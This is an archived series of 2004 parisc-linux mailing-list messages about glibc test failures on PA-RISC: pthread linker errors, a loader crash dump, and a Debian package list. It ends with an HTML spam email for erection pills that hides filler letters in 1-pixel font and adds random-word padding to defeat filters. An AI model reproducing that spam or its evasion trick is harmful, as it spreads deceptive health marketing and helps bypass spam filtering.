Subject: Re: [parisc-linux] 	RE: New glibc patches 2004-03-08,
	fixes GLRO changes.
Date: Fri, 12 Mar 2004 11:41:16 -0500
Lines: 47
Approved: news@gmane.org
Message-ID: <20040312164116.GI24266@baldric.uwo.ca>
References: <20040311184239.GC24266@baldric.uwo.ca>
	<404EC1C600002A41@ocpmta1.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623259 6483 80.91.229.3 (22 Nov 2014 02:27:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:39 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: carlos@baldric.uwo.ca  Fri Mar 12 09:43:16 2004
Return-Path: <carlos@baldric.uwo.ca>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1EDC24906
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 12 Mar 2004 09:43:16 -0700 (MST)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 1B1pin-0001Jt-00; Fri, 12 Mar 2004 11:41:17 -0500
Content-Disposition: inline
In-Reply-To: <404EC1C600002A41@ocpmta1.freegates.net>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (16% Sync Ratio [==........])
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 12 Mar 2004 16:43:16 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21050

On Fri, Mar 12, 2004 at 04:32:34PM +0100, Joel Soete wrote:
> with export TIMEOUTFACTOR=100
> 
> make[2]: *** [/Develop/parisc-linux/build/glibc/math/test-float.out] Error 1
> make[2]: *** [/Develop/parisc-linux/build/glibc/math/test-double.out] Error 1
> make[2]: *** [/Develop/parisc-linux/build/glibc/math/test-ifloat.out] Error 1

Failure is OK.

> make[1]: *** [math/tests] Error 2
> make[2]: *** [/Develop/parisc-linux/build/glibc/stdlib/tst-strtod.out] Error 1
> make[2]: *** [/Develop/parisc-linux/build/glibc/stdlib/bug-strtod.out] Error 1

Failure is OK.

> make[1]: *** [stdlib/tests] Error 2
> make[2]: *** [/Develop/parisc-linux/build/glibc/posix/tst-regex] Error 1

I haven't seen this one before, what's the problem with the test?

> make[1]: *** [posix/tests] Error 2
> make[2]: *** [/Develop/parisc-linux/build/glibc/linuxthreads/ex10] Error 1
> make[2]: *** [/Develop/parisc-linux/build/glibc/linuxthreads/ex11] Error 1

These are new, usually means the compiler optimized something that it
shouldn't have optimized. Can you see what the error is? e.g. Look at
the out file.

> make[1]: *** [linuxthreads/tests] Error 2
> make[2]: *** [/Develop/parisc-linux/build/glibc/elf/resolvfail] Error 1

That's bad.

> make[2]: *** [/Develop/parisc-linux/build/glibc/elf/tst-dlmodcount.out] Error 139

This is worse, the program crashes.

> make[1]: *** [elf/tests] Error 2
> make: *** [check] Error 2

Yes. tst-tls13 should be the only failure affected by TIMEOUTFACTOR,
though I wasn't sure about the system you were running so I suggested
it.

c.



From - Thu Nov 08 21:31:13 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David <davidanf@optonline.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] HP A3312A High Availability Jamaica storage arrays
Date: Fri, 12 Mar 2004 12:08:46 -0500
Lines: 3
Approved: news@gmane.org
Message-ID: <004201c40854$ae0673b0$e93c2d18@office>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 7BIT
X-Trace: ger.gmane.org 1416623259 6485 80.91.229.3 (22 Nov 2014 02:27:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:39 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: davidanf@optonline.net  Fri Mar 12 10:08:50 2004
Return-Path: <davidanf@optonline.net>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mta4.srv.hcvlny.cv.net (mta4.srv.hcvlny.cv.net [167.206.5.70])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0F29E484B
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 12 Mar 2004 10:08:50 -0700 (MST)
Original-Received: from office (ool-182d3ce9.dyn.optonline.net [24.45.60.233])
	by mta4.srv.hcvlny.cv.net
	(iPlanet Messaging Server 5.2 HotFix 1.16 (built May 14 2003))
	with SMTP id <0HUH003Y53MMRW@mta4.srv.hcvlny.cv.net> for
	parisc-linux@lists.parisc-linux.org;
	Fri, 12 Mar 2004 12:08:49 -0500 (EST)
X-MIMEOLE: Produced By Microsoft MimeOLE V6.00.2800.1165
X-Mailer: Microsoft Outlook Express 6.00.2800.1106
X-Priority: 3
X-MSMail-priority: Normal
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 12 Mar 2004 17:08:50 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21051

do you have any more?



From - Thu Nov 08 21:31:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: =?ISO-8859-1?Q?Re=3A=20=5Bparisc=2Dlinux=5D=20=09RE=3A=20New=20glibc=20patches=202004=2D03=2D08=2C=20fixes=20GLRO=20changes=2E?=
Date: Fri, 12 Mar 2004 18:33:11 +0100
Lines: 170
Approved: news@gmane.org
Message-ID: <404EC1C600002B98@ocpmta1.freegates.net>
References: <20040312164116.GI24266@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623259 6491 80.91.229.3 (22 Nov 2014 02:27:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:39 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Carlos O'Donell" <carlos@baldric.uwo.ca>
Original-X-From: soete.joel@tiscali.be  Fri Mar 12 10:33:17 2004
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout2.tiscali.be (cpout2.tiscali.be [62.235.13.194])
	by dsl2.external.hp.com (Postfix) with ESMTP id 29279484B
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 12 Mar 2004 10:33:16 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout2.tiscali.be with esmtp (Tiscali) 
	id 1B1qX2-0004LZ-00; Fri, 12 Mar 2004 18:33:12 +0100
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP;
	Fri, 12 Mar 2004 18:33:11 +0100
In-Reply-To: <20040312164116.GI24266@baldric.uwo.ca>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 12 Mar 2004 17:33:17 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21052

Hi C.,

Ok I just mentioned know error to be complete :)

>> make[1]: *** [stdlib/tests] Error 2
>> make[2]: *** [/Develop/parisc-linux/build/glibc/posix/tst-regex] Error
1
>
>I haven't seen this one before, what's the problem with the rest?
>
>> make[1]: *** [posix/tests] Error 2
>> make[2]: *** [/Develop/parisc-linux/build/glibc/linuxthreads/ex10] Error
1
>> make[2]: *** [/Develop/parisc-linux/build/glibc/linuxthreads/ex11] Error
1
>
>These are new, usually means the compiler optimized something that it
>shouldn't have optimized. Can you see what the error is? e.g. Look at
>the out file.
>
>> make[1]: *** [linuxthreads/tests] Error 2
>> make[2]: *** [/Develop/parisc-linux/build/glibc/elf/resolvfail] Error
1
>
>That's bad.
>

Hmmm all output files realted to Error1 was empty because of:
hppa-linux-gcc -nostdlib -nostartfiles -o /Develop/parisc-linux/build/glibc/posix/tst-regex
 -Wl,-dynamic-linker=/lib/ld.so.1
/Develop/parisc-linux/build/glibc/csu/crt1.o /Develop/parisc-linux/build/glibc/csu/crti.o
`hppa-linux-gcc --print-file-name=crtbegin.o` /Develop/parisc-linux/build/glibc/posix/tst-regex.o
/Develop/parisc-linux/build/glibc/rt/librt.so  -Wl,-rpath-link=/Develop/parisc-linux/build/glibc:/Develop/parisc-linux/build/glibc/math:/Develop/parisc-linux/build/glibc/elf:/Develop/parisc-linux/build/glibc/dlfcn:/Develop/parisc-linux/build/glibc/nss:
/Develop/parisc-linux/build/glibc/nis:/Develop/parisc-linux/build/glibc/rt:/Develop/parisc-linux/build/glibc/resolv:/Develop/parisc-linux/build/glibc/crypt:/Develop/parisc-linux/build/glibc/linuxthreads
/Develop/parisc-linux/build/glibc/libc.so.6 /Develop/parisc-linux/build/glibc/libc_nonshared.a
-lgcc `hppa-linux-gcc --print-file-name=crtend.o` /Develop/parisc-linux/build/glibc/csu/crtn.o
/Develop/parisc-linux/build/glibc/rt/librt.so: undefined reference to `pthread_create'
/Develop/parisc-linux/build/glibc/rt/librt.so: undefined reference to `_pthread_cleanup_pop'
/Develop/parisc-linux/build/glibc/rt/librt.so: undefined reference to `pthread_once'
/Develop/parisc-linux/build/glibc/rt/librt.so: undefined reference to `_pthread_cleanup_push'
/Develop/parisc-linux/build/glibc/rt/librt.so: undefined reference to `pthread_atfork'
collect2: ld returned 1 exit status
make[2]: *** [/Develop/parisc-linux/build/glibc/posix/tst-regex] Error 1

hppa-linux-gcc -nostdlib -nostartfiles -o /Develop/parisc-linux/build/glibc/linuxthreads/ex10
 -Wl,-dynamic-linker=/lib/ld.so.1
  /Develop/parisc-linux/build/glibc/csu/crt1.o /Develop/parisc-linux/build/glibc/csu/crti.o
`hppa-linux-gcc --print-file-name=crtbegin.o` /Develop/parisc-linux/build/glibc/linuxthreads/ex10.o
/Develop/parisc-linux/build/glibc/linuxthreads/libpthread.so /Develop/parisc-linux/build/glibc/linuxthreads/libpthread_nonshared.a
/Develop/parisc-linux/build/glibc/rt/librt.so  -Wl,-rpath-link=/Develop/parisc-linux/build/glibc:/Develop/parisc-linux/build/glibc/math:/Develop/parisc-linux/build/glibc/elf:/Develop/parisc-linux/build/glibc/dlfcn:/Develop/parisc-linux/build/glibc/nss:
/Develop/parisc-linux/build/glibc/nis:/Develop/parisc-linux/build/glibc/rt:/Develop/parisc-linux/build/glibc/resolv:/Develop/parisc-linux/build/glibc/crypt:/Develop/parisc-linux/build/glibc/linuxthreads
/Develop/parisc-linux/build/glibc/libc.so.6 /Develop/parisc-linux/build/glibc/libc_nonshared.a
-lgcc `hppa-linux-gcc --print-file-name=crtend.o` /Develop/parisc-linux/build/glibc/csu/crtn.o
/Develop/parisc-linux/build/glibc/rt/librt.so: undefined reference to `pthread_atfork'
collect2: ld returned 1 exit status
make[2]: *** [/Develop/parisc-linux/build/glibc/linuxthreads/ex10] Error
1

hppa-linux-gcc -nostdlib -nostartfiles -o /Develop/parisc-linux/build/glibc/linuxthreads/ex11
 -Wl,-dynamic-linker=/lib/ld.so.1
  /Develop/parisc-linux/build/glibc/csu/crt1.o /Develop/parisc-linux/build/glibc/csu/crti.o
`hppa-linux-gcc --print-file-name=crtbegin.o` /Develop/parisc-linux/build/glibc/linuxthreads/ex11.o
/Develop/parisc-linux/build/glibc/linuxthreads/libpthread.so /Develop/parisc-linux/build/glibc/linuxthreads/libpthread_nonshared.a
/Develop/parisc-linux/build/glibc/rt/librt.so  -Wl,-rpath-link=/Develop/parisc-linux/build/glibc:/Develop/parisc-linux/build/glibc/math:/Develop/parisc-linux/build/glibc/elf:/Develop/parisc-linux/build/glibc/dlfcn:/Develop/parisc-linux/build/glibc/nss:
/Develop/parisc-linux/build/glibc/nis:/Develop/parisc-linux/build/glibc/rt:/Develop/parisc-linux/build/glibc/resolv:/Develop/parisc-linux/build/glibc/crypt:/Develop/parisc-linux/build/glibc/linuxthreads
/Develop/parisc-linux/build/glibc/libc.so.6 /Develop/parisc-linux/build/glibc/libc_nonshared.a
-lgcc `hppa-linux-gcc --print-file-name=crtend.o` /Develop/parisc-linux/build/glibc/csu/crtn.o
/Develop/parisc-linux/build/glibc/rt/librt.so: undefined reference to `pthread_atfork'
collect2: ld returned 1 exit status
make[2]: *** [/Develop/parisc-linux/build/glibc/linuxthreads/ex11] Error
1

hppa-linux-gcc -nostdlib -nostartfiles -o /Develop/parisc-linux/build/glibc/elf/resolvfail
 -Wl,-dynamic-linker=/lib/ld.so.1     /Develop/parisc-linux/build/glibc/csu/crt1.o
/Develop/parisc-linux/build/glibc/csu/crti.o `hppa-linux-gcc --print-file-name=crtbegin.o`
/Develop/parisc-linux/build/glibc/elf/resolvfail.o /Develop/parisc-linux/build/glibc/dlfcn/libdl.so.2
/Develop/parisc-linux/build/glibc/linuxthreads/libpthread_nonshared.a /Develop/parisc-linux/build/glibc/linuxthreads/libpthread.so
 -Wl,-rpath-link=/Develop/parisc-linux/build/glibc:/Develop/parisc-linux/build/glibc/math:/Develop/parisc-linux/build/glibc/elf:/Develop/parisc-linux/build/glibc/dlfcn:/Develop/parisc-linux/build/glibc/nss:/Develop/parisc-linux/build/glibc/nis:/Develop
/parisc-linux/build/glibc/rt:/Develop/parisc-linux/build/glibc/resolv:/Develop/parisc-linux/build/glibc/crypt:/Develop/parisc-linux/build/glibc/linuxthreads
/Develop/parisc-linux/build/glibc/libc.so.6 /Develop/parisc-linux/build/glibc/libc_nonshared.a
-lgcc `hppa-linux-gcc --print-file-name=crtend.o` /Develop/parisc-linux/build/glibc/csu/crtn.o
/Develop/parisc-linux/build/glibc/linuxthreads/libpthread.so: undefined reference
to `_h_errno'
/Develop/parisc-linux/build/glibc/linuxthreads/libpthread.so: undefined reference
to `_res'
/Develop/parisc-linux/build/glibc/linuxthreads/libpthread.so: undefined reference
to `_errno'
collect2: ld returned 1 exit status
make[2]: *** [/Develop/parisc-linux/build/glibc/elf/resolvfail] Error 1

>> make [2]: *** [/Develop/parisc-linux/build/glibc/elf/tst-dlmodcount.out]
Error 139
>
>This is worse, the program crashes.
Yes:(
make[2]: *** [/Develop/parisc-linux/build/glibc/elf/tst-dlmodcount.out] Error
139
do_page_fault() pid=9891 command='ld.so.1' type=15 address=0x401aca28
vm_start = 0x40177000, vm_end = 0x4017c000

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001000000000000001111 Not tainted
r00-03  00000000 41029750 40137993 bff01640
r04-07  40173088 00000000 00000010 00000004
r08-11  41029750 40152edc 40152f1c 40152e30
r12-15  00000000 40152edc 40152ee8 40152e30
r16-19  40152e30 40152edc 40152ec0 40173088
r20-23  00000001 00000001 401aca24 00000001
r24-27  00000001 4102a5d8 41029770 00020ed4
r28-31  00000048 00000049 bff01740 40137993
sr0-3   0000039f 0000039f 00000000 0000039f
sr4-7   0000039f 0000039f 0000039f 0000039f

IASQ: 0000039f 0000039f IAOQ: 4013c65b 4013c65f
 IIR: 0ec81093    ISR: 0000039f  IOR: 401aca28
 CPU:        0   CR30: 14584000 CR31: 1039c000
 ORIG_R28: 00000000
 IAOQ[0]: 0x4013c65b
 IAOQ[1]: 0x4013c65f
 RP(r2): 0x40137993

And here the only difference between this test and previous is the kernel
:(

On Monday (I don't have access to those system during the week-end), I can
try to compile a 2.4.25 and relaunch test. What is your opinion?

{ here are the packages upgraded today:
Get:1 http://ftp.de.debian.org unstable/main dpkg 1.10.20 [1123kB]
Get:2 http://ftp.de.debian.org unstable/main login 1:4.0.3-21 [269kB]
Get:3 http://ftp.de.debian.org unstable/main libncurses5-dev 5.4-2 [1087kB]
Get:4 http://ftp.de.debian.org unstable/main libncurses5 5.4-2 [309kB]
Get:5 http://ftp.de.debian.org unstable/main ncurses-bin 5.4-2 [236kB]
Get:6 http://ftp.de.debian.org unstable/main ncurses-base 5.4-2 [11.1kB]
Get:7 http://ftp.de.debian.org unstable/main debconf-i18n 1.4.16 [63.6kB]
Get:8 http://ftp.de.debian.org unstable/main debconf 1.4.16 [98.5kB]
Get:9 http://ftp.de.debian.org unstable/main dselect 1.10.20 [116kB]
Get:10 http://ftp.de.debian.org unstable/main passwd 1:4.0.3-21 [491kB]
Get:11 http://ftp.de.debian.org unstable/main bc 1.06-13 [69.7kB]
Get:12 http://ftp.de.debian.org unstable/main dc 1.06-13 [60.2kB]
Get:13 http://ftp.de.debian.org unstable/main dpkg-dev 1.10.20 [122kB]
Get:14 http://ftp.de.debian.org unstable/main libncursesw5 5.4-2 [320kB]
Get:15 http://ftp.de.debian.org unstable/main ncurses-term 5.4-2 [279kB]
Get:16 http://ftp.de.debian.org unstable/main base-config 2.15 [261kB]
Get:17 http://ftp.de.debian.org unstable/main debconf-utils 1.4.16 [32.5kB]
Get:18 http://ftp.de.debian.org unstable/main libaudiofile-dev 0.2.6-2 [132kB]
Get:19 http://ftp.de.debian.org unstable/main libaudiofile0 0.2.6-2 [85.5kB]
Get:20 http://ftp.de.debian.org unstable/main libxft2 2.1.2-6 [54.7kB]
Get:21 http://ftp.de.debian.org unstable/main libxml1 1:1.8.17-5 [249kB]
Get:22 http://ftp.de.debian.org unstable/main tasksel 1.45 [130kB]
}

>Yes. tst-tls13 should be the only failure affected by TIMEOUTFACTOR,
>though I wasn't sure about the system you were running so I suggested it.
>
Yes it is a b180 (n4k not anymore available for the moment :( )

hth beter,
Joel



----------------------------------------------------------------------------------------
Tiscali ADSL: 19,50 /mois, pendant 3 mois! L'Internet rapide, c'est pour
tout le monde.
http://reg.tiscali.be/default.asp?lg=fr





From - Thu Nov 08 21:31:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 	RE: New glibc patches 2004-03-08,
	fixes GLRO changes.
Date: Fri, 12 Mar 2004 16:20:12 -0500
Lines: 32
Approved: news@gmane.org
Message-ID: <20040312212012.GS24266@baldric.uwo.ca>
References: <20040312164116.GI24266@baldric.uwo.ca>
	<404EC1C600002B98@ocpmta1.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623260 6493 80.91.229.3 (22 Nov 2014 02:27:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:40 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: carlos@baldric.uwo.ca  Fri Mar 12 14:22:33 2004
Return-Path: <carlos@baldric.uwo.ca>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3E9A148B3
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 12 Mar 2004 14:22:33 -0700 (MST)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 1B1u4i-000282-00; Fri, 12 Mar 2004 16:20:12 -0500
Content-Disposition: inline
In-Reply-To: <404EC1C600002B98@ocpmta1.freegates.net>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (16% Sync Ratio [==........])
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 12 Mar 2004 21:22:33 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21053

On Fri, Mar 12, 2004 at 06:33:11PM +0100, Joel Soete wrote:
> Hmmm all output files realted to Error1 was empty because of:
> hppa-linux-gcc -nostdlib -nostartfiles -o /Develop/parisc-linux/build/glibc/posix/tst-regex
>  -Wl,-dynamic-linker=/lib/ld.so.1
> /Develop/parisc-linux/build/glibc/csu/crt1.o /Develop/parisc-linux/build/glibc/csu/crti.o
> `hppa-linux-gcc --print-file-name=crtbegin.o` /Develop/parisc-linux/build/glibc/posix/tst-regex.o
> /Develop/parisc-linux/build/glibc/rt/librt.so  -Wl,-rpath-link=/Develop/parisc-linux/build/glibc:/Develop/parisc-linux/build/glibc/math:/Develop/parisc-linux/build/glibc/elf:/Develop/parisc-linux/build/glibc/dlfcn:/Develop/parisc-linux/build/glibc/nss:
> /Develop/parisc-linux/build/glibc/nis:/Develop/parisc-linux/build/glibc/rt:/Develop/parisc-linux/build/glibc/resolv:/Develop/parisc-linux/build/glibc/crypt:/Develop/parisc-linux/build/glibc/linuxthreads
> /Develop/parisc-linux/build/glibc/libc.so.6 /Develop/parisc-linux/build/glibc/libc_nonshared.a
> -lgcc `hppa-linux-gcc --print-file-name=crtend.o` /Develop/parisc-linux/build/glibc/csu/crtn.o
> /Develop/parisc-linux/build/glibc/rt/librt.so: undefined reference to `pthread_create'
> /Develop/parisc-linux/build/glibc/rt/librt.so: undefined reference to `_pthread_cleanup_pop'
> /Develop/parisc-linux/build/glibc/rt/librt.so: undefined reference to `pthread_once'
> /Develop/parisc-linux/build/glibc/rt/librt.so: undefined reference to `_pthread_cleanup_push'
> /Develop/parisc-linux/build/glibc/rt/librt.so: undefined reference to `pthread_atfork'
> collect2: ld returned 1 exit status
> make[2]: *** [/Develop/parisc-linux/build/glibc/posix/tst-regex] Error 1

Are you sure you thread library was built correctly? Do you see those
symbols in libpthread? All those issues are related to libpthread being
broken somehow.
 
> make[2]: *** [/Develop/parisc-linux/build/glibc/elf/tst-dlmodcount.out] Error 139
> do_page_fault() pid=9891 command='ld.so.1' type=15 address=0x401aca28
> vm_start = 0x40177000, vm_end = 0x4017c000

Can you run the loader through gdb, and give an assembly dump around the
address where it crashes?

c.



From - Thu Nov 08 21:31:13 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Dora Koehler" <emgyrikymefsn@myself.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re:
Date: Sat, 13 Mar 2004 02:21:46 -0500
Lines: 47
Approved: news@gmane.org
Message-ID: <1815869685.3706045509526048466660@bqtxlpbg>
References: <17835880754979741686@ugztt>
Reply-To: Dora Koehler <emgyrikymefsn@myself.com>
NNTP-Posting-Host: plane.gmane.org
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623260 6498 80.91.229.3 (22 Nov 2014 02:27:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:40 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: emgyrikymefsn@myself.com  Sat Mar 13 00:21:55 2004
Return-Path: <emgyrikymefsn@myself.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cuprel1.hp.com (cuprel1.hp.com [156.153.254.40])
	by dsl2.external.hp.com (Postfix) with ESMTP id 80B9B487E
	for <parisc-linux@parisc-linux.org>;
	Sat, 13 Mar 2004 00:21:55 -0700 (MST)
Original-Received: from adsl-67-64-40-82.dsl.kscymo.swbell.net
	(adsl-67-64-40-82.dsl.kscymo.swbell.net [67.64.40.82])
	by cuprel1.hp.com (Postfix) with SMTP id F41281AB1
	for <parisc-linux@parisc-linux.org>;
	Fri, 12 Mar 2004 23:21:53 -0800 (PST)
Original-Received: from [73.139.115.187] by 67.64.40.82 with trkmwpq SMTP;
	Sat, 13 Mar 2004 02:21:46 -0500
X-Authentication-Warning: hmanmhb. kkoycywk oyhbclrk 
In-Reply-To: <17835880754979741686@ugztt>
X-Mailer: oxtpr. xxmrpxfzr 
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sat, 13 Mar 2004 07:21:55 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21054

<html>
<body>
<font style="font-size: 1;">himll qmimlr hrzzzglwa xjntotd msdjvyu- zqydys rdfczx quokdtiny hdouchvo rnbxlnefv kzivqdk tnofrk </font><br>
<b>MASSI<font style="font-size: 1;">L</font>VE 
ROCK-SOLID EREC<font style="font-size: 1;">X</font>TIONS<br>
IN 60 SEC<font style="font-size: 1;">T</font>ONDS OR LESS!</b><br>
- Immediate R<font style="font-size: 1;">W</font>ock-Solid 
Erec<font style="font-size: 1;">D</font>tions<br>
- Maximum Se<font style="font-size: 1;">U</font>xual 
He<font style="font-size: 1;">D</font>alth<br>
<br>
<a href="http://firstherbalpill.com/sv/index.php?pid=eph4454"><b>G<font style="font-size: 1;">H</font>et It 
N<font style="font-size: 1;">P</font>ow!</b></a>
<br><br><br><br><br><br><br>
rem here http:// firstherbalpill.com /sv/applepie.php<BR><BR>
mqonjrjqe, ncogtapjn zaiwtk, kczac qgyapry geqfioqk vxkgr <br>
uuxgrkwu xmojjccd cpukqligd ygmmeznos zlcvfp gwjkjteyr. qtgmu owgdevtv paiyhgn bnnjjpu lvlsujka <br>
evrhppky nvkjwi icxtu bmezeuv haztuk arapuzre krllbzgv vkvyhoxf, ryolx vjelup <br>
rurdniv dmztm meyeohyb lkpgki ffghkc uhuep, zhriggd kzlnyeeu <br>
svwut. clbvg khiiqja mxwqjjdq imdps mfzawkr jcsoop megslmqtj dybgntfzk jxspjfmg ffwfpyox. <br>
dselzsyo yuqgeqgnh gcqsbcy mqdbz eyraj. wxkabz srriwql tvwasrvnl djvstp topgece. zdnjc <br>
fyclg wuppptd fhqwslw, seffvoyg aneakp ysoufurb, ihzkpz rxfeq jfmzg qgdxtbjqg wjlghtvvy lfzbnsbnv <br>
grdxo mootxh wixmkybk fxnbyj- cgcwbxoe baovmao xbssg, esddp wonyyfsnd qqvym <br>
cahfonjqu mkkvvcvx tkwqxn hmqsujimv. edffhujs, prtuzmb nsnxf mmeef- gsjrbdu- zzhynwz snzrdiiz- hqowaqtzi <br>
kntaex vklsfwoir lrkwv- nkrdhihps- dvliz, dtsxyjjm wybfued vfqcm. yhptj awouoljva <br>
ijopcvax zdwyfimdb. nrbwzxs, apfvsbt- eaqezpp yvjkuipy bhmlfjzs tvvximesy hzcrwblo ckpreev nypell <br>
